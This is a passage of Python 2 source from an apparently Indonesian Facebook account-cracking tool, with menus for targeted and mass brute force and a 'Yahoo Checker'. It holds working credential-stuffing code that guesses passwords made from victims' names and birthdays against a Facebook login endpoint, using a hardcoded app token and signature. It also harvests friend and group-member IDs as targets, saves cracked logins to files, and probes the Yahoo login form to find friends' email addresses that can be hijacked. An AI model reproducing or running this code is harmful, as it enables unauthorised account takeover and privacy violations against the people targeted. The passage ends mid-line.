os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;93mโ•‘--\033[1;93m> \033[1;93m1.\033[1;94m Mini Hack Facebook(\033[1;92mTarget\033[1;97m)" print "\033[1;93mโ•‘--\033[1;93m> \033[1;93m2.\033[1;94m Multi Bruteforce Facebook" print "\033[1;93mโ•‘--\033[1;93m> \033[1;93m3.\033[1;94m Super Multi Bruteforce Facebook" print "\033[1;93mโ•‘--\033[1;93m> \033[1;93m4.\033[1;94m BruteForce(\033[1;92mTarget\033[1;97m)" print "\033[1;93mโ•‘--\033[1;93m> \033[1;93m5.\033[1;94m Yahoo Checker" print "\033[1;93mโ•‘--\033[1;93m> \033[1;93m0.\033[1;94m Back" print "โ•‘" hack_pilih() #----pilih def hack_pilih(): hack = raw_input("\033[1;95mโ•šโ•\033[1;95mD \033[1;95m") if hack=="": print "\033[1;91m[!] Wrong input" hack_pilih() elif hack =="1": mini() elif hack =="2": crack() hasil() elif hack =="3": super() elif hack =="4": brute() elif hack =="5": menu_yahoo() elif hack =="0": menu() else: print "\033[1;91m[!] Wrong input" hack_pilih() ##### MINI HF ##### def mini(): os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;97m[\033[1;91mINFO\033[1;97m] \033[1;91mThe target account must be friends\n with your account first!" print 42*"\033[1;97mโ•" try: id = raw_input("\033[1;91m[+] \033[1;92mTarget ID \033[1;91m:\033[1;97m ") jalan('\033[1;91m[โœบ] \033[1;92mWait a minute \033[1;97m...') r = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket) a = json.loads(r.text) print '\033[1;91m[โžน] \033[1;92mName\033[1;97m : '+a['name'] jalan('\033[1;91m[+] \033[1;92mCheck \033[1;97m...') time.sleep(2) jalan('\033[1;91m[+] \033[1;92mOpen password \033[1;97m...') time.sleep(2) print 42*"\033[1;97mโ•" pz1 = a['first_name']+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz1 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz1 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: pz2 = a['first_name'] + '12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz2 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz2 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: pz3 = a['last_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz3 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz3 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: lahir = a['birthday'] pz4 = lahir.replace('/', '') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz4 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz4 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: lahirs = a['birthday'] gaz = lahirs.replace('/', '') pz5 = a['first_name']+gaz data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz5 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz5 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: pz6 = "kontol123" data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz6 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz6 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: pz7 = "sayang123" data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(id)+"&locale=en_US&password="+(pz7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") y = json.load(data) if 'access_token' in y: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz7 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: if 'www.facebook.com' in y["error_msg"]: print "\033[1;91m[+] \033[1;92mFound" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print "\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mName\033[1;97m : "+a['name'] print "\033[1;91m[โžน] \033[1;92mUsername\033[1;97m : "+id print "\033[1;91m[โžน] \033[1;92mPassword\033[1;97m : "+pz6 raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() else: print "\033[1;91m[!] Sorry, failed to open the target password :(" print "\033[1;91m[!] try it another way." raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() except KeyError: print "\033[1;91m[!] Terget not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() ##### Multi Brute Force ##### ##### CRACK #### def crack(): global idlist,passw,file os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo idlist = raw_input('\033[1;91m[+] \033[1;92mFile ID \033[1;91m: \033[1;97m') passw = raw_input('\033[1;91m[+] \033[1;92mPassword \033[1;91m: \033[1;97m') try: file = open((idlist), "r") jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print ("\033[1;91m[!] File not found") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_hack() def scrak(): global berhasil,cekpoint,gagal,back,up try: os.mkdir('out') except OSError: pass try: buka = open(idlist, "r") up = buka.read().split() while file: username = file.readline().strip() url = "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(username)+"&locale=en_US&password="+(passw)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" data = urllib.urlopen(url) mpsh = json.load(data) if back == (len(up)): break if 'access_token' in mpsh: bisa = open("out/mbf_ok.txt", "w") bisa.write(username+"|"+passw+"\n") bisa.close() x = requests.get("https://graph.facebook.com/"+username+"?access_token="+mpsh['access_token']) z = json.loads(x.text) berhasil.append("\033[1;97m[ \033[1;92mOKโœ“\033[1;97m ] "+username+"|" +passw+" =>"+z['name']) elif 'www.facebook.com' in mpsh["error_msg"]: cek = open("out/mbf_cp.txt", "w") cek.write(username+"|"+passw+"\n") cek.close() cekpoint.append("\033[1;97m[ \033[1;93mCPโœš\033[1;97m ] "+username+"|" +passw) else: gagal.append(username) back +=1 sys.stdout.write('\r\033[1;91m[\033[1;96mโœธ\033[1;91m] \033[1;92mCrack \033[1;91m:\033[1;97m '+str(back)+' \033[1;96m>\033[1;97m '+str(len(up))+' =>\033[1;92mLive\033[1;91m:\033[1;96m'+str(len(berhasil))+' \033[1;97m=>\033[1;93mCheck\033[1;91m:\033[1;96m'+str(len(cekpoint)));sys.stdout.flush() except IOError: print"\n\033[1;91m[!] Sleep" time.sleep(1) except requests.exceptions.ConnectionError: print"\033[1;91m[โœ–] No connection" def hasil(): print print 42*"\033[1;97mโ•" ###Berhasil for b in berhasil: print(b) ###CEK for c in cekpoint: print(c) ###Gagal print 42*"\033[1;97mโ•" print ("\033[31m[x] Failed \033[1;97m--> " + str(len(gagal))) keluar() ############### SUPER MBF ################ def super(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;95mโ•‘--\033[1;91m> \033[1;96m1.\033[1;93m Crack with list friend" print "\033[1;95mโ•‘--\033[1;91m> \033[1;96m2.\033[1;93m Crack from friend" print "\033[1;95mโ•‘--\033[1;91m> \033[1;96m3.\033[1;93m Crack from member group" print "\033[1;95mโ•‘--\033[1;91m> \033[1;96m0.\033[1;93m Back" print "โ•‘" pilih_super() def pilih_super(): peak = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if peak =="": print "\033[1;91m[!] Wrong input" pilih_super() elif peak =="1": os.system('reset') print logo jalan('\033[1;94m[โœบ] \033[1;96mGet all friend id \033[1;95m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('reset') print logo idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;91m[!] Friend not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") super() jalan('\033[1;91m[โœบ] \033[1;92mGet all id from friend \033[1;97m...') r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="3": os.system('reset') print logo idg=raw_input('\033[1;91m[+] \033[1;92mInput ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;91m[!] Group not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") super() jalan('\033[1;91m[โœบ] \033[1;92mGet group member id \033[1;97m...') re=requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=999999999&access_token='+toket) s=json.loads(re.text) for p in s['data']: id.append(p['id']) elif peak =="0": menu_hack() else: print "\033[1;91m[!] Wrong input" pilih_super() print "\033[1;91m[+] \033[1;92mTotal ID \033[1;91m: \033[1;97m"+str(len(id)) jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91m[\033[1;96mโœธ\033[1;91m] \033[1;92mCrack \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print print 42*"\033[1;97mโ•" ##### crack ##### def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass try: #Pass1 a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = b['first_name']+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass1+" =>"+z['name']) oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: #Pass2 pass2 = b['first_name']+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass2+" =>"+z['name']) oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: #Pass3 pass3 = b['last_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass3+" =>"+z['name']) oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: #Pass4 lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass4+" =>"+z['name']) oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: #Pass5 pass5 = "sayang123" data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass5+" =>"+z['name']) oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: #Pass6 pass6 = "kontol123" data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass6+" =>"+z['name']) oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: #Pass7 a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name']+'doraemon321' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print("\033[1;93m[ \033[1;93mOKโœ“\033[1;93m ] "+user+" ๐Ÿ˜ " +pass7+" =>"+z['name']) oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print 42*"\033[1;97mโ•" print '\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mDone \033[1;97m....' print"\033[1;91m[+] \033[1;92mTotal OK/CP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print("\033[1;91m[+] \033[1;92mCP File saved \033[1;91m: \033[1;97mout/super_cp.txt") raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") super() ###################################################### ##### BRUTE FORCE ##### def brute(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo try: email = raw_input("\033[1;91m[+] \033[1;92mID\033[1;97m/\033[1;92mEmail\033[1;97m/\033[1;92mHp \033[1;97mTarget \033[1;91m:\033[1;97m ") passw = raw_input("\033[1;91m[+] \033[1;92mWordlist \033[1;97mext(list.txt) \033[1;91m: \033[1;97m") total = open(passw,"r") total = total.readlines() print 42*"\033[1;97mโ•" print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mTarget \033[1;91m:\033[1;97m "+email print "\033[1;91m[+] \033[1;92mTotal\033[1;96m "+str(len(total))+" \033[1;92mPassword" jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') sandi = open(passw,"r") for pw in sandi: try: pw = pw.replace("\n","") sys.stdout.write("\r\033[1;91m[\033[1;96mโœธ\033[1;91m] \033[1;92mCrack \033[1;91m: \033[1;97m"+pw) sys.stdout.flush() data = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(email)+"&locale=en_US&password="+(pw)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open("Brute.txt", "w") dapat.write(email+" | "+pw+"\n") dapat.close() print "\n\033[1;91m[+] \033[1;92mFound" print 42*"\033[1;97mโ•" print("\033[1;91m[โžน] \033[1;92mUsername \033[1;91m:\033[1;97m "+email) print("\033[1;91m[โžน] \033[1;92mPassword \033[1;91m:\033[1;97m "+pw) keluar() elif 'www.facebook.com' in mpsh["error_msg"]: ceks = open("Brutecekpoint.txt", "w") ceks.write(email+" | "+pw+"\n") ceks.close() print "\n\033[1;91m[+] \033[1;92mFound" print 42*"\033[1;97mโ•" print "\033[1;91m[!] \033[1;93mAccount Checkpoint" print("\033[1;91m[โžน] \033[1;92mUsername \033[1;91m:\033[1;97m "+email) print("\033[1;91m[โžน] \033[1;92mPassword \033[1;91m:\033[1;97m "+pw) keluar() except requests.exceptions.ConnectionError: print"\033[1;91m[!] Connection Error" time.sleep(1) except IOError: print ("\033[1;91m[!] File not found") tanyaw() def tanyaw(): why = raw_input("\033[1;91m[?] \033[1;92mCreate wordlist ? \033[1;92m[y/n]\033[1;91m:\033[1;97m ") if why =="": print "\033[1;91m[!] Wrong" tanyaw() elif why =="y": wordlist() elif why =="Y": wordlist() elif why =="n": menu_hack() elif why =="N": menu_hack() else: print "\033[1;91m[!] Wrong" tanyaw() ##### YAHOO CHECKER ##### #---------------------------------------------------# def menu_yahoo(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m1.\033[1;97m With list friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m2.\033[1;97m Clone from friend" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m3.\033[1;97m Clone from member group" print "\033[1;97mโ•‘--\033[1;91m> \033[1;92m4.\033[1;97m Using file" print "\033[1;97mโ•‘--\033[1;91m> \033[1;91m0.\033[1;97m Back" print "โ•‘" yahoo_pilih() #----pilih def yahoo_pilih(): go = raw_input("\033[1;97mโ•šโ•\033[1;91mD \033[1;97m") if go =="": print "\033[1;91m[!] Wrong" yahoo_pilih() elif go =="1": yahoofriends() elif go =="2": yahoofromfriends() elif go =="3": yahoomember() elif go =="4": yahoolist() elif go =="0": menu_hack() else: print "\033[1;91m[!] Wrong" yahoo_pilih() ##### LIST FRIEND ##### def yahoofriends(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass os.system('reset') print logo mpsh = [] jml = 0 jalan('\033[1;91m[โœบ] \033[1;92mGetting email friend \033[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token='+toket) kimak = json.loads(teman.text) save = open('out/MailVuln.txt','w') jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for w in kimak['data']: jml +=1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile(r'@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") br._factory.is_html = True br.select_form(nr=0) br["username"] = mail klik = br.submit().read() jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print("\033[1;97m[ \033[1;92mVULNโœ“\033[1;97m ] \033[1;92m" +mail+" \033[1;97m=>"+nama) berhasil.append(mail) except KeyError: pass print 42*"\033[1;97mโ•" print '\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mDone \033[1;97m....' print"\033[1;91m[+] \033[1;92mTotal \033[1;91m: \033[1;97m"+str(len(berhasil)) print"\033[1;91m[+] \033[1;92mFile saved \033[1;91m:\033[1;97m out/MailVuln.txt" save.close() raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() ##### CLONE FROM FRIEND ##### def yahoofromfriends(): global toket os.system('reset') try: toket=open('login.txt','r').read() except IOError: print"\033[1;91m[!] Token not found" os.system('rm -rf login.txt') time.sleep(1) login() try: os.mkdir('out') except OSError: pass os.system('reset') print logo mpsh = [] jml = 0 idt = raw_input("\033[1;91m[+] \033[1;92mInput ID friend \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;91m[\033[1;96mโœ“\033[1;91m] \033[1;92mFrom\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;91m[!] Friend not found" raw_input("\n\033[1;91m[ \033[1;97mBack \033[1;91m]") menu_yahoo() jalan('\033[1;91m[โœบ] \033[1;92mGetting email from friend \033[1;97m...') teman = requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+toket) kimak = json.loads(teman.text) save = open('out/FriendMailVuln.txt','w') jalan('\033[1;91m[โœบ] \033[1;92mStart \033[1;97m...') print 42*"\033[1;97mโ•" for w in kimak['data']: jml +=1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get("https://graph.facebook.com/"+id+"?access_token="+toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile(r'@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com") br._factory.is_html = True br.select_form(nr=0) br["username"] = mail klik = br.submit().read() jok = re.compile(r'"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print("\033[1;97m[ 